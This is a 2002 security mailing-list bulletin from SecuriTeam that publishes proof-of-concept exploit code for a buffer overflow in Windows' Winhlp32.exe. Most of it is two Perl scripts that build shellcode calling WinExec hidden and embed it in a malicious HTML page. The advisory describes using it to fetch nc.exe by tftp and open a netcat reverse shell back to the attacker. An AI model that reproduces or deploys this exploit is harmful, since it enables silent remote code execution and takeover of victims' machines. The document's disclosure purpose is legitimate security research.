

[EXPL] Winhlp32.exe Buffer Overflow Exploit Code

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0037.html>

From: support@securiteam.com

Date: 08/10/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 10 Aug 2002 23:13:40 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Winhlp32.exe Buffer Overflow Exploit Code

SUMMARY

Attached is proof of concept code / exploit code for the winhlp32 buffer overflow vulnerability. The shell code is relatively small but effective if used correctly. The perl script takes a command to execute (WinExec,SW_HIDE) and a html output file. There are two versions included with this advisory:

* HelpMe.pl that was written to work with kernel32.dll version 5.0.2195.4272

* HelpMe2.pl that was written to work with all other machines, kernel32.dll version 5.0.2195.2778

DETAILS

Exploit:

The exploit does the following:

- 1) Executes tftp.exe -i my.ip.address get nc.exe c:\winnt\system32\nc.exe
- 2) Executes nc.exe my.ip.address 80 -e cmd.exe

If the exploit executes correctly exitprocess() will report no error.

HelpMe2.pl:

```
# Winhlp32.exe Remote Buffer Overrun exploit code. written by Gary  
O'leary-Steele Sec-1 Ltd. Garyo@sec-1.com
```

Securiteam: [EXPL] Winhlp32.exe Buffer Overflow Exploit Code

```
# For use as proof of concept
### Amended for use with kernel32.dll version 5.0.2195.2778

##### Kernell32 jmp ebx 77E87793

$sploit =
"\x55\x8b\xec\x8b\xc3". #Fixed from previous version
"\xbe\xff\xff\xff\xff".
"\x81\xee\x85\x85\x85".
"\x83\xc0\x01".
"\x8b\x10".
"\x3b\xd6".
"\x75\xf7".
"\x8b\xd8".
"\x83\xc3\x01".
"\x80\x6b\x03\x41".
"\x8b\x7b\x04".
"\x81\xff\x58\x58\x58\x58".
"\x75xee".
"\x81\x6b\x04\x58\x58\x58\x58".
"\x33\xf6".
"\x56".
"\x83\xc0\x04".
"\x50".
"\xbb\xaf\xa7\xe9\x77". # mov ebx, 0x77e9a7af winexec() address
"\xff\xd3"; #call ebx

$exitproc =
"\xBB\x95\x8f\xe9\x77".
"\x83xeb\x01".
"\xff\xd3";

#77e98f94 + 1 for exit proc

$RET = "\x24\F1\x5d\x01";
#$EIP2 = "\x93\x77\xe8\x77"; # This works on kernel32.dll version
5.0.2195.4272
$EIP2 = "\xDE\x16\xe8\x77";
#77E816DE

# direct jump = 0006FBD4 ##$EIP2 = "\xd4\xfb\x06\x00";

print "Exploit code for Winhlp32.exe Remote BufferOverrun.\nBy Gary
Oleary-Steele Sec-1 Ltd\nCalls WinExec SW_HIDE and executes supplied
command\nTested on windows 2000 professional SP2\n\n";
print "Enter Command to execute: ";
$command =<STDIN>;
print "Enter Output File: ";
$outputfile =<STDIN>;
chomp $command;
chomp $outputfile;
```

Securiteam: [EXPL] Winhlp32.exe Buffer Overflow Exploit Code

```
open(INFILE,">$outputfile");
$command = encode($command);
$nn = 123 - length($command);
$nops = "\x90" x $nn;

$exploit = $sploit . "zzzz". $command .'XXXX'. $nops . $exitproc . $RET
$EIP2;

$f1= <<"file1";
<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width" VALUE="26"><PARAM
NAME="Height" VALUE="26"><PARAM NAME="Command" VALUE="WinHelp"><PARAM
NAME="Item1" VALUE='file1
chomp $f1;

$f2= <<"file2";
'><PARAM NAME="Item2" VALUE="Sec-1
LTD"></OBJECT><SCRIPT>winhelp.HHClick()</SCRIPT>
file2

print INFILE $f1.$exploit.$f2;

sub encode($command){
$lofcmd =length($command);
$i = 0;

for ($i ;$i < $lofcmd; $i++){

$chartoconvert = substr($command,$i,1); # pull out each character

$chartoconvert = ord($chartoconvert); # convert to a dec

for ($b=0; $b < 65; $b++){
$chartoconvert++ ;
}

$tmpchr = chr($chartoconvert); #convert back to chr
$newchar = $newchar . $tmpchr;

}

print $newchar;
return $newchar;

}

HelpMe.pl:
# Winhlp32.exe Remote BufferOverrun exploit code. written by Gary
O'leary-Steele Sec-1 Ltd. Garyo@sec-1.com
# For use as proof of concept
```

Securiteam: [EXPL] Winhlp32.exe Buffer Overflow Exploit Code

```
# Kernel32.dll version 5.0.2195.4272
##### Kernel32 jmp ebx 77E87793

$sploit =
"\x55\x8b\xec\x8b\xc3". #xc5 is ebp change if error
"\xbe\xff\xff\xff".
"\x81\xee\x85\x85\x85".
"\x83\xc0\x01".
"\x8b\x10".
"\x3b\xd6".
"\x75\xf7".
"\x8b\xd8".
"\x83\xc3\x01".
"\x80\x6b\x03\x41".
"\x8b\x7b\x04".
"\x81\xff\x58\x58\x58\x58".
"\x75xee".
"\x81\x6b\x04\x58\x58\x58\x58".
"\x33\xf6".
"\x56".
"\x83\xc0\x04".
"\x50".
"\xbb\x94\xee\xe8\x77". # mov ebx, 0x77e8ee94 winexec() address
"\xff\xd3"; #call ebx

$exitproc =
"\xBB\x5d\xa9\xe8\x77".
"\x83xeb\x01".
"\xff\xd3";

$RET = "\x24\F1\x5d\x01";
$EIP2 = "\x93\x77\xe8\x77"; # This works
#$EIP2 = "\xf6\xbf\x30\x78";

# direct jump = 0006FBD4 ##$EIP2 = "\xd4\xfb\x06\x00";

print "Exploit code for Winhlp32.exe Remote BufferOverrun.\nBy Gary
Oleary–Steele Sec–1 Ltd\nCalls WinExec SW_HIDE and executes supplied
command\nTested on windows 2000 professional SP2\n\n";
print "Enter Command to execute: ";
$command =<STDIN>;
print "Enter Output File: ";
$outputfile =<STDIN>;
chomp $command;
chomp $outputfile;
open(INFILE, ">$outputfile");
$command = encode($command);
$nn = 123 – length($command);
$nops = "\x90" x $nn;
```

Securiteam: [EXPL] Winhlp32.exe Buffer Overflow Exploit Code

```
$exploit = $sploit . "zzzz". $command .'XXXX'. $nops .$exitproc. $RET
$EIP2;

$f1= <<"file1";
<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width"
VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command"
VALUE="WinHelp"><PARAM NAME="Item1"
VALUE='
file1
chomp $f1;

$f2= <<"file2";
'><PARAM
NAME="Item2" VALUE="Sec-1 LTD"></OBJECT>
<SCRIPT>winhelp.HHClick()</SCRIPT>
file2

print INFILE $f1.$exploit.$f2;

sub encode($command){
$lofcmd =length($command);
$i = 0;

for ($i ;$i < $lofcmd; $i++){

$chartoconvert = substr($command,$i,1); # pull out each character

$chartoconvert = ord($chartoconvert); # convert to a dec

for ($b=0; $b < 65; $b++){
$chartoconvert++;
}

$tmpchr = chr($chartoconvert); #convert back to chr
$newchar = $newchar . $tmpchr;

}

print $newchar;
return $newchar;

}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:garyo@sec-1.com>> Gary O'leary-Steele.

Securiteam: [EXPL] Winhlp32.exe Buffer Overflow Exploit Code

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NT] CSS Bug in Winamp"
 - *Messages sorted by:* [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)